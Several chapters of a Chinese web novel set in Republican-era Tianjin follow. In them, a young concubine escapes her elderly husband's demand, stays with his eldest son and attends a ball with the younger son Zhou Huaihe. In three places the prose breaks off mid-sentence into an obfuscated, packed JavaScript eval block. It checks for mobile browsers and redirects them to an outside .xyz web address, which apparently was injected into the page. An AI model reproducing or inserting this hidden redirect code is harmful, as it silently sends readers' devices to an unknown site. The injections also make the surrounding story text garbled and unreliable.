许是有人跟这位六姨太讲了什么,否则也不至于叫她扯谎也避自己如蛇蝎。 天都要黑了,睡哪门子午觉? 当日晚饭前,王发开着汽车将周怀鹤载回来,引擎冒起阵阵浓烟,车灯晃亮周公馆门前几百米长路。 周怀鹤刚同孙家大少谈完事回来,转开门见自己屋子里多了不该多的人时,已然见怪不惊了。 他目不斜视脱下灰色西装外套,挂在挂钩上,里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260000|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头剩一件赭红色马甲,坐下时领口拱起少许,一排银扣子纯净锃亮,反光直晃程筝的眼。 她最终还是在他房间里寻到了图画书,还极富主人意识地吃了他的糕点,桌上还掉了点糕点渣。 周怀鹤静静望她,抬手将纹着两只彩凤花鸟的玻璃窗掀开道缝,漫不经心偏头往外看,刻意不将视线落在她身上似的。 “你到我这里来倒比回自己房间还要顺路了。” 程筝眼都不太,闲适翻过一页书,拍掉纸上的糕点渣,又擦擦嘴角,认同:“似乎是有一些。” “又有事?”他平一下心,将视线移回。 程筝扬起眼,也无甚羞赧的:“找鹤少爷要一笔款子。” “要?”周怀鹤捉住用词。 程筝理所当然:“拿一个人情抵去,那就是‘要’,不算是‘借’了。” “要多少?” “不多,四千元。” 周怀鹤发一阵寂。 见他不作声,程筝便明说了:“我记着账上明明许多钱,不会拿不出,你难不成不愿意拨给我?” “假使你早些来问我,我还拿得出。”周怀鹤道,“可我将才跟孙立吃完下午茶回来,已是一分也没有了。” “二百万本款,香港那边交去三十万保证金,余下一百七十万,我与孙立达成合作,叫他名下的信托公司替我买进债券。” 这下是完了,她倒没料到会有这出,这笔钱暂时会卡死在信托公司那处,“那什么时候能够取出?” “年初。你很急么?”周怀鹤徐徐瞭她一眼,见她拧着眉,正无意识叼起下唇。 她这样为难么? “拿去做什么用?”周怀鹤问得细了些。 “给芸芸应急,最好是快些拨给我,既然如此,那我下次再来。” 周怀鹤静静垂眸,嘴角也垂下几分,语义不明地说:“要好处时就急着来找我,否则便只惜得抛下几句漂亮话,人一溜烟就跑没了。” 程筝觉得好不冤枉:“我哪里有你说得这样坏?” 周怀鹤抬眼,盯住她:“你不坏么?” 先前说她嘴坏,这下倒好,整个人都坏起来了。 程筝疑心自己是走错方向了,难道他不吃太直接这套? 蚕豆也买不着,偷情又偷不上,真是急人。 正当无话可讲之时,楼底下杨妈催起吃饭来,程筝调过头去:“我不同你讲了,不能够叫人发现我总往你房里钻。” 比起她的慌慌张张,周怀鹤倒显得从容淡定,“你竟还有怕的。” “当然怕,被别人看见了,我还有没有好命活?”她仍然记得玉玲说的,一切都要在保命前提下完成,可不能将自己的命也搭进去。现在她自己还当不了自己的靠山,也没别人来当她的靠山,稍不注意就能被有钱有权的人捏死,只得小心些行事。 正说着,程筝开始轻车熟路翻阳台。 半圆式的阳台,摆了一张圆木桌子以及几张胡桃木凳子,凳子上搁着各色各样针织的垫子,程筝掀开垫子,踩着凳子利落翻过去,事成之后还站在她阳台那处冲周怀鹤甩几下手,顶得意的样子,身后怕是要翘起尾巴来。 周怀鹤瞧见她那神气样,慢慢收了视线,紧接着看向对面摊开的书、吃了一半的糕点。 邋遢鬼。 他靠在老爷椅上定身静静坐了一会儿,无端想起恰才她挂着饼渣的唇角。 窗户缝里一道风流进他唇缝里,好似是泛着海水咸味儿的。 周怀鹤发一阵空,抿上一抿,然后下楼。 碗筷已然全部布置好,程筝挑着跟周峥及周太太坐于一边,对面方秋水早已落座,瞧见他还很是礼貌地叫了声“鹤弟”。 见到他,周怀鹤本还算好的心情坠下去几分,拉开凳子,平声应了句“二哥”。 周峥近来容光焕发,脸上红光飘拂,程筝倒不关心这个,木木地坐在边上吃饭。 结果,冷不丁听这位老爷子身子一好就闹幺蛾子。 他讲说:“何师父确有几分道行,程筝去一趟香港天后庙,我身体大好。” 起初人人盯着盘中食物,谁也不消搭理他。 紧接着他又道:“既然程筝合我,于我康体有益,便叫流芳搬出主屋,程筝搬进来与我同住罢。” 如同一道惊雷掼进耳朵眼,程筝身子一僵,整个人活像遭这道雷劈过,心腔都要从喉咙里呕出。 此话一出,周太太脸黑了,周怀鹤低着头,乌发坠在眼皮上,遮住小半支眼,手里的瓷筷也倏地掉下一只来,摔在地面上断成两半,滚到方秋水鞋边。 方秋水斜斜看了他一眼,又眯眼望向对角褪尽血色的程筝,轻巧地扬起唇角,心说: 真是好有趣的一家人。 17.第 17 章 一桌人都没有字从嘴里蹦出,一个颇僵的沉默。 周太太率先搁下碗筷,面色黑如浆泥,将楼梯木板踩得嗵嗵直响,周五爷毫无所动,接着用饭。 “别要去理她,我养身体这些天,她在家里很耍威风,就是要灭她一灭!看她能张扬到几时,竟是不记得这公馆究竟是姓周还是姓她杜流芳的杜了!” 周五爷的嘴角若是长了胡须,只怕此时已然哼哧哼哧被气得吹了起来。一面说,一面吩咐下人再上一双筷子给周怀鹤。 程筝已无心思夹菜,满心满眼都充塞着“又来一劫”的荒谬感,而周怀鹤自从摔了筷子便一言未发,薄薄的眼皮儿整场就没抬起来过,静静接了递过来的新筷子,在那里很是没心思的样子。 一顿晚饭吃得心不在焉,用完饭后终于可以散场,程筝是顶头痛的,很是用力气地思忖如何推了这要命的约。 将行至楼梯,还未踩上去,侧面一道影子晃过,手腕霍地被那人捉住,两人肩膀错着,那人捏着她的腕留她的身。 周怀鹤低首,沉坠的视线落在她鼻尖上,又快又轻地说:“去找周太太。” 府里人多眼杂,他只轻轻地握了那么一下,声音也轻轻的,面色不大漂亮,阴下去许多,随即便松掉指节,扮起常态独自上楼去。 可二人这细小的动作也全被对面的方秋水看了过去,他挑过来一眼,很快又旋身,拎着一盏紫砂茶壶去要茶水了。 听他一言,程筝猛地醒悟过来,恰好周太太面色阴沉地提着她的皮箱子要走,程筝迈着快步跟在她身后。 地板嘎吱作响,她拉住周太太的臂膊,太太的翡翠镯子冰凉凉的挨着她手心,程筝低低地说道:“太太你也把我带了走罢!” 周太太斜瞪去一眼,甫一打开她的手。她的面子尽数掉在了餐室的桌子底下,此时声口很是难听:“你要飞上枝头变凤凰了,还来求我作甚?少来我面前讨嫌!” 她高喊着:“我在周家很受男人的气,在杜家又很受那些臭嘴巴的气,左右我名字底下还挂了个洋货商场,我便是真同那贱东西离婚了又如何!要不是贪他那点臭钱,我何至于窝囊在这里!” 周太太急头白脸的便要抢出去,程筝比他更急,拽着人说道:“太太,你去哪里也把我捎去罢!我真是无意犯你的忌讳,如果我今日不走,你觉着我真有法子抗衡周五爷么?我没有法子。今晚要么是他老当益壮霸王硬上弓,要么是我誓死不从咬舌自尽在这公馆里,说过来说过去,我的死活也并不在我自个儿手里捏着的。” 周峥此时又到后院烟塌上去了,但再拖拉下去,只怕下人都要察觉二人在这里拉拉扯扯,届时便是周太太答应将她带出去,怕是也不成了。 周太太慢慢地静下来了,她扭头望她一望,道:“你当我看不出你心里是什么打算?你不过也是看不上他,却又不敢得罪,只想让我当那个坏人拦在中间,这样你既可以不用伺候他,也唱了个白脸无辜相,姓周的怪不得你,只会怪到我脑袋上!是这样不是!” 程筝记起周怀鹤很早说过,尽管周太太忍她一时,可只要日后烂舌头多起来,她总忍不了叫人家踩在正太太脑袋顶上的。 “太太,坦白来讲,谁不为自己的小命多几分算计呢?我自己能逃到哪里去呢?他就不会再将我捉回去么?”程筝吸了很长一口气,急口道,“我是有意惹你同情,那也是因为在这家里只有您这位正儿八经的周太太可以跟老爷斗。再者说,老爷也不是个笨的,他真会为了我这么个野丫头,砍掉杜家这么粗一只胳膊么?他今日无非是觉得你叫他的周家主子的地位摇晃起来了,可日后还是要求你回去的,你们小打小闹一下最后还是各自归位,他图你的母家势力,你图他的遗产,那何必一定要牺牲我呢?” 短时的默然过后,周太太定定瞧了瞧她,仍旧心绪不平,胸脯起起伏伏,没思忖太久,冷脸拽着她的胳膊将人往外拖。 公馆里的下人见她一手拎皮箱,一手拽着六姨太,便涌上来喊着:“太太!太太!你这是做什么!” “这日子是过不下去了,什么人都能踩在我脑袋顶上作威作福!不过是个乡下来的死丫头,周峥这老东西也真是不知羞,他将我迫走了便好过了!可这小丫头也休想留在府里当凤凰!”说着,俩人拉着臂膊一前一后小跑起来,惟恐后头的下人们拦了上来。 门口蹲着许多黄包车夫,都是专盯有钱人家用车的,一出大门便能立马坐上,周太太提一只皮箱登上去,程筝连忙跟上去坐,催那拉车的脚夫:“快跑快跑!跑赢他们给你加钱!” 身后人还追着“太太”长“太太”短地喊,还有喊“老爷”的。 “老爷!老爷!太太将六姨太掳走了!” 被“掳”跑的人正呼哧呼哧喘着气,擦擦额头的汗,回身望了一望,心道真是好险,再晚一些恐怕就跑不出来了。 二人陷身在颠簸的胶皮车里,程筝万分感谢她:“我知道太太是菩萨心,太太帮我这回我准记在心头,若日后有事托给我,我也准给太太办得漂亮。” “受不起你的奉承。”周太太慢慢地掀起嘴唇,调子轻下去,“不过是你求我的样子叫我想起二姨太……” “二姨太?”程筝想了一想,“可府上人都说太太同二姨太关系不很好。” “呵。”太太轻嗤道,“因着上回也是我来扮这个恶人,秋茹不想嫁,求我这个正房太太来拦着,末了还叫姓周的记恨上,府上老妈子都嚼舌头说我容不得小的。” 眼皮簌簌抖动,周太太掉过了脑袋,心里想的都是那个可怜女人凄然的下场,无依无靠的人若是惹太多男人怜爱,是一件顶倒霉的事,像个精美的物什似的人人都想拥有,上天入地,连自己都不是自己的了。 不愿与程筝这年青人多讲,她指使车夫拐弯,总归今夜走不出天津,她的皮箱里又只装了旗袍和金项链,只得去怀良的公馆先住。 周怀良是周家三个少爷里年纪最大的,今年二十又七,念完军校领过几次胜仗以后,早早便从周家独立了出来,在外头自己住,平日作风也怪低调,深入简出,这处周公馆布置得也好不打眼,一座西班牙式小洋楼,红瓦粉墙,尖顶钢窗,程筝刚穿到这里来时,被捆在王利民的车里时见过。 当时还被拦在门外,叫她打道回府,从哪儿来的回哪儿去,如今好了,她又过来了,真是阴差阳错。 “叮铃铃铃——”周太太不很有耐心,使劲揿了很多下门铃,径直将府里唯一一个管事的老妈子喊了起来。 “嗳呦!”老妈子披一件花袄子,细眯着眼睛瞧她二人,“太太?怎么现在过来了?” “快来开门!这风忒冷,冻得我牙齿直打颤!”周太太催着。 “就来,就来!” 老妈子拉开门闩,将二人迎进去,付掉黄包车的钱,“太太怎么突然造访?我连个准备都没有,也真是……” “无甚缘故,不过就是我跟那人没话好讲了!”周太太作气恼相,踢踢踏踏往屋里走,将皮箱摔在沙发椅上,叫老妈子快给她倒热茶暖暖手。 程筝扬着眼四下望着,室内衣架上挂着硕大一件黑色硬挺军装,像是能将她整个人埋进去似的。 红木雕花柜子上摆着各式各样的军刀、兵器,长的短的,大的小的,花样颇多,墙角堆着许多个上了锁的大皮箱,零零散散的也挂了几张黑白相片,不过都是跟军官们一齐拍的。 老妈子一面倒茶一面打量起程筝来,“请教这位小姐的台甫?” 程筝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周怀良垂下眼去思忖几分,说道:“我记着你也许久没告假了,这几日便放假休息罢,回家看望一下你的儿子儿媳。” “可以是可以,那是将我的屋子腾出来给这位小姐么?可是今夜我也走不掉,要怎样安排?” “我体格小。”程筝适时客气起来,“在沙发上靠一靠就睡了,先前在香港鹤少爷那里,晚上有时候发困,窝在椅子上睁眼便天亮了,我不大挑。” “老三连屋子都不惜得为你布置?”周怀良忽地这样说。 程筝替周怀鹤解释:“那晚他也窝在椅子上睡的,双双都累了,无人在意这些。” “不用这样委屈,我这里不会叫客人睡沙发。我正计划起来批一夜报文,催得紧,母亲住我房间,程小姐便去那间客房。” “时间这样紧张么?”周太太有些担心他的身体,可别像老三一样闹得病怏怏的。在整个周家心里,周怀良都是顶梁柱似的要挑大梁式的人物,是与别人很要不同的。 张妈为周怀良取来外衣,他说:“时局每天都在变。” 下一刻再将视线从地板抬起来时,正对上程筝的视线,在他的头发与睡衣上轻轻落下,随后又敛了回去,作沉思状。 一灯如豆,点亮的电灯如同一粒幽幽的火焰,周怀良在看见那灯火在她青色的雪纺袍子上徐徐地升起、徐徐地落下,胀开、又缩紧了,最后如同结冰一般凝在她的双眼里。 她那双眼有些过于灵慧了,眼光好似直直射穿他,眼睛像嘴巴一张一合在讲话一般,说:你这话诓诓周太太就算了,要是真有紧急到需要彻夜批复的文件,何至于早早睡觉,将头发睡得乱糟糟地下楼来? 周怀良打过几场大仗,带领过不少参差不齐的新兵,其中不乏有蠢笨如牛听不懂他指令的,莽着白白搭掉自己的小命;有讲两遍才能听懂的,也有一遍便能会意的。 却几乎无人能让他什么都不说,仅用眼睛瞧上一瞧,便将他钉穿的。 可这个人,今夜是差点同他父亲圆房,逃到他这里来的。 可这个人,是他父亲的姨太太,委实可惜了些。 可这个人。 18.第 18 章 程筝不是个会很客气的主,客气过了便过了,张妈引二人到楼上房间,程筝便从了。周怀良披一件硬挺的大氅进书房去,周太太回一下头,嘱咐他几句夜深当心着凉。 吊灯悬在曲型楼梯上方,水晶坠子在铺陈的木板上垂下坑洞般的影子,锤窗的夜风也静了,张妈拎来烧着炭的瓦盆,放置在离床一尺的距离,将窗上帘子下了下来,道:“客房平日没人住,没烧过火,小姐怕冷的话我再拿个水袋子来。” “还好。”程筝脱下鞋,盘着双腿坐在塌上,压低声音询问,“太太睡下了么?” “在良少爷屋里歇下了,电灯都揿灭了。”张妈说,“估计也歇不到好久,早晨有客要来。” 程筝问:“哪里的客?” 张妈一面呵欠一面道:“南津大学的新任校长元先生,想要请良少爷去学校里说一回演讲。” 南津大学……程筝兀自琢磨少时,随后盈盈笑道:“张妈也快去休息罢,今夜叨扰了。” “不当事,那我下楼回屋了。” 二日一早,程筝还躺在床上,垂下的黄色纱帘将她全然没进去,天光亮起一半,床边的火盆已然烧灭了,她听见楼下窸窸窣窣的动静传来,一位是张妈,另一位的声口听上去不似良少爷,恐怕就是那位元校长。 “元先生,良少爷在会客室候着您呢。”张妈轻口道。 踏在木地板上的“吱呀”声慢慢挪远,元校长进了会客室,她便什么都听不着了。 约莫再两小时过后,天全然亮了,张妈刚送走元校长,周太太披一件厚呢子披肩,将手搭在楼梯扶手上,向下问张妈:“这样早就请了客人?” 张妈道:“良少爷紧着出门,只能约在这个时间。” 周太太静片刻,又埋怨地催请:“我来得急,皮箱里没装几件冬衣,不料冷得这样快,张妈落闲时去买几件冬衣来,要厚的,样式别要太土。” “晓得了。”张妈应下,上午便去了,说中午买一张回家的车票,毕竟昨日良少爷放了她的假,将屋子挪出来给程小姐住。 程筝姗姗迟迟下楼,洗漱时被管子里的水冻得牙颤,跟石榴似的将要一粒一粒剥脱下来,摔进那搪瓷脸盆里。 此时周太太已坐在大厅软沙发里,膝上盖一条厚的羊毛毯子,举着听筒将昨晚上那些对周老爷的埋怨原话再复述给不同的太太们听,讲得好不愤然。 桌上倒扣住几根张妈早晨煎好的大饼油条,还温着,两份,周太太应是已经用过了,周怀良刚跟元校长谈完事,应该还未来得及吃早饭,程筝想了想,假装顺手端上去给他。 “叩叩”敲几下门,里头道一声“进”,程筝端着盘子旋身进去,周怀良点了一夜灯,眼皮疲惫地垂坠着,俄而从纸页上翻上来,溜她一眼又敛回。 “张妈呢,怎叫你端上来的?”他沙哑着喉咙说,肩上挂着半截外衣,几将滑在地上去了,程筝提醒一句,将盘子搁在桌边,回话:“张妈出门买过冬的衣服了,看样子太太铁了心要在这里过冬。” 周怀良翻过一页,“程小姐说是因着谁?” “这怎地怪在我头上?分明是你爸爸刻意这样闹,想叫两个女人掐起架来,倒把自己当成指点江山平衡朝廷势力的皇帝老爷了。” 他拨过来一份晨报盖在批文上挡住,硕大的身躯向后倚去,深邃的眼睛只钉向她,“他再不成,你不也得嫁给他?” 搁在沙发椅扶手上绷起根根青色经络的手指缓缓敲击几下,周怀良缓声道:“还是说你还有别的好算计?” “良少爷将我当作诸葛亮么?哪里有那么多算计。” “不算计,何必殷勤端早餐进我书房,弯弯绕绕讲这许多话。” “良少爷不喜循序渐进么?好罢,我今儿早晨听见楼下讲话,说是哪个大学的校长请您去做演讲呢。” 周怀良静候她的下文,见程筝从黛色袴袄的上衣口袋里捻出一张方块纸出来,摊开来推至他眼皮底下。 “我在香港偶然结识一位姓陈的先生,他托我求一封大学的聘书,于良少爷而言轻而易举罢。” 周怀良将那张纸拿起来,里头是一串钢笔写的蹭晕了墨的地址,香港那边的。 “是不很难,但我也不是谁都帮。”周怀良慢慢地发问,“你同我的关系好到可以随意叫我帮衬了么?” “我自然也不是谁都帮,我又不傻。”程筝笔直站在他面前,细细长长的影子从书案打了个折,落在他搭在扶手的指头上,“这位陈先生当时被住在香港的英国人打碎了镜片,满脸是血,他慌慌张张从口袋里掏本子给我留地址时,我瞧见那巴掌大的本子上,密密麻麻排的是文化戏的剧本,他是恨外国人的。” “恨外国人的人有许多,街上日日都有举大旗游行的。”周怀良饶有兴趣地开口,候着她又有怎样的好理由。 程筝说:“可是有志回内地报国的文化青年却少,良少爷昨晚上说时局变得快,于是大家都往香港跑,船票都订不到一张,有人想从香港回内地,有抱负、想实现抱负,能帮,为何不帮?他打的文化仗,与良少爷打的仗,有什么区别么?” 她现在说的才是当时决定要陈先生一个联系方式的主要原因,如果只是为了给芸芸她们找来一个好的教书先生,花钱可比要一纸大学的聘书要来得容易。 程筝是后来人,她能够早早遇见后几年的艰苦,那么便让有志的报志就是了,也就是碰着周怀良同元校长有这层渊源,假使没能办成的话,便回头再托周怀鹤。 总之就是将能做的事做全,也算努力过,给别人一个机会又有何不可,日后陈先生真进了大学,准还要念及她的举荐之恩,日后不定有能用得上他的地方。 “行是不行?”程筝见他久久地不讲话,便又发了声。 周怀良盯了盯自己臂膊上左右晃荡的影子,影子的发尾尖恰好落在他指尖上,他顿了顿,将那方形的纸折好,塞进晨报下面同批文放在一起,她的声音掷地有声,仿佛与旁人很不一样的坚定,叫周怀良又是一怔,琢磨起“文化仗”三个字来。 “有大志的栋才我自然乐于接受,可我不白帮人。”周怀良重新执起钢笔,将要落笔时倏地定一瞬身,自己也不知为何扯起了谎来,“我的秘书这几日风寒告假,程小姐这样有仁心,住在这几日便替下我秘书的职务,替我收发文件,送来我的书房内。” “你不怕我将你们军中机要窃了去?”程筝纳罕。 “是应该怕一怕,先前不还装不识字么?”周怀良瞭她一眼,“这会子讲陈先生、文化戏,就不怕露馅了。” “我的确识字,所以当不起良少爷的秘书。” “你的话总有许多,叫你做便做,我都无甚好担心的,你替我担心什么?真有重要文件也经不得你的手。” “良少爷既这样说,我便无甚好讲的了。”程筝拧眉道,“我是一窍不通乡巴佬,假使出了差错,也别要赖在我头上。” 可真是掉进周家人的陷阱里了,给周怀鹤打工也就罢了,她当个小股东至少还有点钱拿,给周怀良当秘书可纯纯是白打工。 陈先生啊陈先生,只望你真是条堪当大任的好汉。 张妈在回乡前去街上时装店里买来几件成品棉衣,软篷篷的,领口袖口绣着一圈雪白的兔毛,但周太太很是嫌弃,嫌这颜色太过俏皮,不适宜她这老妇人穿,多日搁置在柜子里,直到冷极了才拿出来勉强套上。 程筝颇奇怪:“四十多哪里算老妇人?” 周太太睨她,冷哼一声:“不同你们这些年青人讲。” “太太是老妇人,那我也算不得年青人,我是半个老妇人。”程筝嬉皮笑脸,周太太半嗔半怒,用衣服扔她,说程筝是给点染料就开起染坊来了。 虽然面上佯装责怪,心里却委实舒坦很多,连带着也不那么嫌程筝讨厌了,比起先前的泾渭分明,心中还升起一些喜爱来,毕竟周公馆里只有三个少爷,没有多少年轻女孩子,周太太也没能生出个女孩子来,难免是有些遗憾的。 只是这样活灵活现的小丫头竟要嫁给周峥那个烟老鬼……周太太想了想,又拿起电话筒,往宁波老家拨去。 年关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周太太看程筝一眼,摆摆手:“当心着点,要是又把人送到周公馆主卧床上,我准回去跟你们闹个没完,我准跟周峥这老东西离婚!” “将心吃进肚子里罢!”王发承诺着。 于是程筝便裹着那件新披肩,踩着小牛皮靴子进到车里去了。 她并不傻,听见孙家请她,便知这其中准有周怀鹤的手笔,甫一坐上去,便发起问来:“不是刚将钱投给孙家底下的信托公司么?突然拉上我,是款子出了甚么问题?” 车内极安静,掉根针都能吵得耳朵疼一般的缄默,程筝十分莫名,拧过脑袋,见周怀鹤挤在另一头的车窗边上,从白色蕾丝纱帘里垂下来一点光,落在他捏着的报纸上头,印出几个时事新闻来。 广和洋行开户有礼、德昌洋货铺门口吊死了人、华茂鞋铺库房失窃等等事。 周怀鹤如同没听见她讲话,冷淡地垂着眼皮,他的皮像那白色车帘一样是透的,脖子上围着条浅灰色的针织围巾,将瘦出来的下巴尖埋进去,若有似无地弱弱地咳嗽。 程筝问他:“你又生病了么?” 又一页报纸翻过去,周怀鹤将头偏得更甚,她只能瞧见一半再一半的脸了。 “王发,鹤少爷究竟是什么意思?”频繁热脸贴冷屁股,纵使她平日十分好相与,也起了一些火气。 周怀鹤黑黑的睫毛还是垂下的,落在报纸上,有没有真的看进去就无人可知了。 “我不去了。”程筝作势要下车,“我这些日都不住在公馆里,不知何处惹恼了你。” 王发急口拦住:“等等!程小姐,今晚孙家大少办的舞会是邀了你的,这事不好耽搁。” “他邀我作甚?”程筝停住手。 “鹤少爷前段时间同他将事项谈妥,孙少爷想要合股,但秦三小姐不在天津,只有你做代表去签字了,这名额鹤少爷费了好些口舌才要来,大家并不识得你的身份,是作为鹤少爷的女伴同去的。” 程筝向旁边觑过去一眼:“他为何自己不跟我讲?” “鹤少爷大抵有些闷着了罢。”王发讪讪道,毕竟程小姐离开这些日子,一封消息都没有往回传,恐怕鹤少爷早觉得这人没良心,气着了。 周怀鹤抬眼皮钉他一眼,嫌他多嘴多舌,冷声唤:“王发,开车!” 19.第 19 章 言罢,周怀鹤再扯过翻来覆去看过的晨报,抖了几下倚在窗户跟前看,淡色的唇抿成一条直的线,任是如何都闭住嘴不开。 王发止住声,听命驾起车来,汽车笃笃地在路面行驶,向橎阳王府开去。 孙家再往上一代是清朝的王爷,住的屋子至今还挂橎阳王府的牌匾。 程筝用余光瞥他印在车玻璃上的虚影,说道:“公馆里那么多人,他哪里能闷着?我到周公馆之前,难道他便成日这样生闷气么?” “我只是觉得你忘了事。”周怀鹤静静地开口说了第一句话,视线仍旧钉在报纸上没挪开。 “我忘了什么事?”程筝反复想,不认为自己忘过什么。 “在香港时候,程小姐在我姨母前发过誓,你是站在我这边的。”说着,他终于舍得向她身上瞭来一眼,从她烫过的鬈发到袍子领口的一圈兔毛,浅色袍子下露出一截烤过火的暖融融的半截手指,再往下是他从未见她穿过的时兴小皮鞋。 程筝顺着他视线打量自己的衣裳,不觉有什么奇怪:“我换身过冬的新衣裳,怎地就背叛了你?连你大哥出钱买的新衣裳我都穿不得么?” 她撇一下嘴,摇头叹气,道:“我真不懂你。” 周怀鹤心说,我也不懂。 连他自己都不懂究竟是因何想要发些火气,只觉这人从离开后就将自己抛掷在脑后,住他哥哥的家里,笑嘻嘻换新的衣裳,整张脸上都是乐不思蜀的喜悦,周怀鹤不对劲好些天,乍一见到这张笑脸,只觉烦闷更甚。 周怀鹤重重抖几下报纸,眉头微微蹙起,程筝静坐半晌,忽地福至心灵地明白过什么来。 “我明白过来了。”她目视前方,忽然这样说。 周怀鹤仍拧着眉,慢慢地挑来一眼,“你明白什么?” 程筝偏一偏脑袋,笑吟吟地弯着眼睛,雪融后将开的桃花一般,周怀鹤眨动几下眼睛,注意力精于眼便失于耳,没听着她讲的话。 她将才声音小,就是为了避着王发,此时前头那人微微拱起背,顶好奇似的,程筝想了想,只道:“私下我再同你说罢!” 上次她说些风流话时王发和秦三小姐便如临大敌,程筝可是不敢再在外人面前说所谓“撩浪话”了,私底下说一说倒可以。 这些话的出发点一半是为周怀鹤沉塘的结局,另一半兴许说不清道不明。这人一边偏过头一边轻轻地骂她“油嘴滑舌”极好玩,口是心非地顶有意思,半分软绵绵的抵抗,半分纵容,她后来便老爱这样说。 像将才一样,她小小声说出一句“难不成鹤少爷是想念我?”,末了没人听清,那便罢了。假使周怀鹤真没这样想过,便显得她太上赶着了。 程筝将身子坐回去,听见外头咚咚锤车门的寒风,把脚踝往里收了收,膝盖上却蓦地一重,再拧过头,周怀鹤已然将报纸扔在一旁,闭目不知静什么心,好似将才乱过似的。 “这是什么?”一面说,程筝一面打开丝绒盒子瞧上一眼。 里头是件珠宝,鸽子蛋大小的剔透翡翠,镶着一串米色珍珠链,一丁点儿杂质都瞧不见,乍一眼望过去像是大雨过后在青石砖瓦上聚拢的水露,绿的、凉的、纯净的。 “首饰。”他佯装不在意地说,“隆重些,否则要让人家瞧不起。” 程筝小心地取出来,夸了句“真好看”,周怀鹤眉眼间的阴翳似是散去一些,可仍旧声音发着淡淡的冷,说:“晚一会儿要还给我。” 此话一出,她便一点儿都不欣喜了,慢慢地摇起脑袋来,道:“你委实比不上你大哥大方。” 周怀鹤想要为她戴上的手指又缩回去,将头歪过一边,鼻尖几近抵在上了霜的车窗上,冷呵:“ 你倒聪明,分明是自己贪得很,却拿大哥激我。” 片刻后,声音低沉:“拿走收好。” 王发好奇地从小镜子里望来一眼,登时瞪大眼珠,一派欲言又止的模样,末了还是咬牙将话头咽回了肚里。 那是五姨太最贵重的一件珠宝,鹤少爷赠给她应该……自有他的道理的。 车子就这样一路开进橎阳王府,这里比起周家的公馆还要大上许多,一层专空出来办宴会舞厅,整座旧式王府宅子,里头装潢却沿用西式,足足四层高,孙立说那些女孩子平日用下午茶要么在楼下假山后的凉亭里,要么就在顶楼,顶楼还专为他的妹妹打了秋千。 不过从他妹妹结婚又离婚后,那秋千就再没荡起来过了。 这样说着,孙立叹口气,左手揣进西装裤口袋里,向另一边招手,叫他妹妹过来。 一层的舞厅里装了许多个无线电,播着慢声慢气的乐曲调子,孙明婷便迈着同样慢的步调走过来。 头发极长,烫着大卷,水里长的海藻似的,瘦津津的一张小脸呈粉白色,口脂却红,极打眼的艳,是很漂亮的。 孙立招她过来,不由得多说几句:“叫你打扮沉稳些,这样哪里像个二十一的女孩子。” 周怀鹤心下几分了然,不耐应付孙立给他说媒的兴头,右手从程筝的棉斗篷背后穿过去,搭在她肩膀上,整个虚虚环住了她。 他脸上挂着她熟悉的应付人的笑意,程筝心道,怪不得她是个女伴的身份,竟然是给他挡桃花用的! 虽是觉着自己着了他的道,但看在今日收了他的翡翠的份上,程筝仍是扮起一副小意温柔的可人样子来,微微将脸向他手指靠去,周怀鹤睫毛的影子抖了几下,随后静下来。 “你不要管我穿什么。”孙明婷别开眼,看向周怀鹤和程筝,随即直来直去地同自己哥哥讲起话来,“你看,人家鹤少爷身边已经有佳人了,哥哥你别要再强拉姻缘!坏人家的好事小心烂舌头!” “你这丫头!”孙立急口想要喊住她,可孙明婷已然踏着鞋向她的朋友那边去了。 孙立重重叹一口气,没好气地看正在扮亲昵的一双人,说话的调子掉下来:“何时认识的人?你从未同我说过。” 周怀鹤顶能演,嗓音慢悠悠 ,拖腔带调:“才不久,她很是喜欢胡小姐演的电影,听说你邀来了,我便带她过来见见人。” 孙立瞧着他手背正蹭着程筝下巴,心中不由得冷嗤一声,想道:这哪里是认识不久,瞧上去恐怕都去大酒店里开过房间了,这样黏着。 “你父亲知道么?”他迈开步子往二楼去拿签单,周怀鹤揽着她一齐跟上楼,拧成圈的楼梯廊道墙上挂了许多橎阳王的肖像,转到二楼书房去,从走廊向下看还能瞧见楼下的舞厅,花花绿绿的雪纺衣裙,薄薄的贴身西装,不怕冷似的。 关上书房的门,便隔绝了无线电里那些歌声,隔绝了舞厅里人的交谈。 孙立梳着油光锃亮的文化头,重重落在凳子上,从书桌底下一举拎上来几个硕大的皮箱。 他翘起腿,点燃一只雪茄咬在嘴里,程筝顶不喜这味道,拧了眉往周怀鹤肩头靠,他衣裳上浆洗过的花香要比这尼古丁好闻。 “点一点?”孙立说道,“你的生意也只有我们孙家敢接了,全款买空好几只股。” 周怀鹤不惊不喜,十分镇静地向前倾去,灰色围巾垂在皮箱上,银色卡扣被挑开,几大箱子洋行提出来的英镑便在程筝面前铺陈开来——两只眼睛都装不下的钱币。 三人眼前堆满了数不清的钱,整个屋子里都是纸币的味道,程筝几乎感觉自己被铜臭味熏着了。 “散户入场晚,看着被你强行抬高的股价,以为自己能喝着汤呢,结果咻——的一下,你退场了。如今拿着四百万的鹤少爷,你在交易所从此是——”孙立咬烟笑着,用皮鞋尖将那皮箱盖子顶倒,盖子啪的一声合上,露出周怀鹤那种始终不动声色的白色的脸,静静端视他。 “坏事做尽。” 孙立有些后悔同这人交易,此人看似是整个周家最温吞不成器的,周怀良有他的威望,方秋水有他的阴毒,周怀鹤却似乎介于二者之间,在不同的事情上便显出不同的正直及阴毒。 譬如此时,周怀鹤答应无论盈亏,分他一半的本金作酬劳,孙立真怀疑这人身子上的亏空全补在了运气上,将散户的钱吞干净了,只怕人人都得在背后呕着血骂他。 